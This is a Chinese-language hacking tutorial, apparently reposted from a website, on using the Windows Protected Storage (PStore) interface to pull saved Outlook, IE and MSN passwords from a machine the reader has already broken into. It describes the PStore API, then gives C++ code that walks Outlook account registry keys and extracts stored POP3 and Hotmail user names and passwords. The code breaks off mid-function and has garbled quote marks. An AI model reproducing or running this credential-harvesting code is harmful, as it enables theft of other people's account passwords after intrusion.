网络通信 频道

攻击新方法:利用PStore接口获取帐号信息

1.简介:什么是PStore?
  PStore的全称为:Protected Storage。在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息,比方说:
  1. Outlook 密码
  2. 删除的Outlook帐号密码
  3. IE 密码保存站点密码
  4. MSN登陆密码
  5. IE 自动保存密码
  
  2.问题:我们拿来做什么?
  我不知道微软是什么样的想法,虽然说这是一个安全的帐号管理服务,但是微软却提供了PStore接口的API函数来对它进行控制。可能他们认为能看的到的都是系统管理,但是如果我们入侵了一台机器,想要获取关于该管理员更多的隐私,这个就是一个很好的方法了。我们可以来获取该用户自动保存在缓存中的密码信息(或者有可能是他不注意一下点到了自动保存^_^...)。总而言之,对一个黑客来讲,这是个好消息。
  
  3.详释:相关函数
  要使用PStore,最初我们要用到这个函数PStoreCreateInstance,用于接收接口指针。
  函数原型如下:
  HRESULT PStoreCreateInstance(
  IPStore** ppProvider,  //输出,用于接收接口指针
  PST_PROVIDERID* pProviderID, //指向Storege提供者的GUID,为0时为默认
  void* pReserved,    //保留,必须为NULL
  DWORD dwFlags      //保留,必须为0
  );
  该函数正确时返回S_OK,注意这个函数因为没有提供SDK,必须手动从Pstorec.dll载入。
  
  在上面函数中的IPStore是一个基于COM的接口,它提供了一引起方法以供调用:
  
  方法      描述
  CloseItem    Closes a specified data item from protected storage.
  CreateType   Creates the specified type with the specified name.
  CreateSubtype  Creates the specified subtype within the specified type.
  DeleteItem   Deletes the specified item from the protected storage.
  DeleteSubtype  Deletes the specified item subtype from the protected storage.
  DeleteType   Deletes the specified type from the protected storage.
  EnumItems    Returns the interface pointer of a subtype for enumerating items in the protected storage database.
  EnumSubtypes  Returns an interface for enumerating subtypes of the types currently registered in the protected database.
  EnumTypes    Returns an interface for enumerating the types currently registered in the protected database.
  GetInfo     Retrieves information about the storage provider.
  GetProvParam  Not implemented.
  GetSubtypeInfo Retrieves information associated with a subtype.
  GetTypeInfo   Retrieves information associated with a type.
  OpenItem    Opens an item for multiple accesses.
  ReadAccessRuleSet   Not implemented.
  ReadItem    Reads the specified data item from protected storage.
  SetProvParam  Sets the specified parameter information.
  WriteAccessRuleset   Not implemented.
  WriteItem    Writes a data item to protected storage.
  
  这些方法里面,就我们要用的做一点说明,具体请参照MSDN:
  
  指定枚举区域:
  HRESULT EnumTypes(
   PST_KEY Key, //PST_KEY_CURRENT_USER(0)表示当前用户,PST_KEY_LOCAL_MACHINE(表示计算机);
   DWORD dwFlags, //保留,为0
   IEnumPStoreTypes** ppenum 
  //一个接口,用来枚举类型,以后调用用的到,它有Next,Skip,Reset,Clone等方法。具体用法请看示例
  );
  
  用来获取项
  HRESULT EnumItems(
   PST_KEY Key, //同上
   const PSGUID* pItemType, //用IEnumPStoreTypes->raw_Next方法获得。
   const GUID* pItemSubtype, //调用IPStorePtr->EnumSubtypes方法获取IEnumPStoreTypesPtr接口,再通过调用IEnumPStoreTypesPtr->raw_Next获得
   DWORD dwFlags, //保留,为0
   IEnumPStoreItems** ppenum //真正获取项接口,以后就可以开始枚举了。
  );
  
  用来读取信息。
  HRESULT ReadItem(
   PST_KEY Key,
   const PSGUID* pItemType,
   const GUID* pItemSubtype,
   LPCWSTR* szItemName,
   DWORD cbData,
   BYTE_RPC_FAR* pbData,
   PPST_PROMPTIFO pPromptInfo,
   DWORD dwFlags
  );
  
  4.动刀,开始编写代码:
  代码:
  
  #include "stdafx.h"
  #include <commctrl.h>
  #include "resource.h"
  #import "pstorec.dll" no_namespace
  char SavingFname[MAX_PATH];
  HWND hwndlistview;
  BOOL iS9x=FALSE;
  typedef struct TOOUTDATA
  {
    char POPuser[100];
    char POPpass[100];
    char POPserver[100];
  }
  OOUTDATA;
  OOUTDATA OutlookData[50];
  int oIndex=0;
  
  void EnumOutlookAccounts()
  {
    ZeroMemory(OutlookData,sizeof(OutlookData));
    HKEY hkeyresult ,hkeyresult1;
    long l,i;
    char name[200],skey[200];
    DWORD dw2;
    FILETIME f;
    lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
    LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult1 );
    if(ERROR_SUCCESS != lResult)
      return ;
    i=0;
    l=0;
    BYTE Data[150];
    BYTE Data1[150];
    DWORD size;
    int j;
    j=0;
    DWORD type=REG_BINARY;
    while(l!=ERROR_NO_MORE_ITEMS)
    {
      dw2=200;
      l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
      lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
      lstrcat(skey,"\\");
      lstrcat(skey,name);
      RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
      size=sizeof(Data);
      if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
      {
        lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
        ZeroMemory(Data,sizeof(Data));
        lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
        size=sizeof(Data);
        if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
        {
          int totnopass=0;
          char mess[100];
          for(int i=2;i<size;i++)
            if(IsCharAlphaNumeric(Data1[i])||(Data1[i]==''('')||(Data1[i]=='')'')||(Data1[i]==''.'')||(Data1[i]=='' '')||(Data1[i]==''-''))
            {
              OutlookData[oIndex].POPpass[totnopass]=Data1[i];
              totnopass++;
            }
          OutlookData[oIndex].POPpass[totnopass]=0;
        }
        ZeroMemory(Data1,sizeof(Data));
        oIndex++;
      }
      else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, &size )==ERROR_SUCCESS)
      {
        lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
        ZeroMemory(Data,sizeof(Data));
        size=sizeof(Data);
        RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
        lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
        ZeroMemory(Data,sizeof(Data));
        size=sizeof(Data);
        if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) ==ERROR_SUCCESS)
        {
          int totnopass=0;
          char mess[100];
          for(int i=2;i<size;i++)
            if(IsCharAlphaNumeric(Data1[i])||(Data1[i]==''('')||(Data1[i]=='')'')||(Data1[i]==''.'')||(Data1[i]=='' '')||(Data1[i]==''-''))
            {
              OutlookData[oIndex].POPpass[totnopass]=Data1[i];
              totnopass++;
            }
          OutlookData[oIndex].POPpass[totnopass]=0;
        }

文章转载地址:http://www.cnpaf.net/Class/hack/06101110492229824538.html

0
相关文章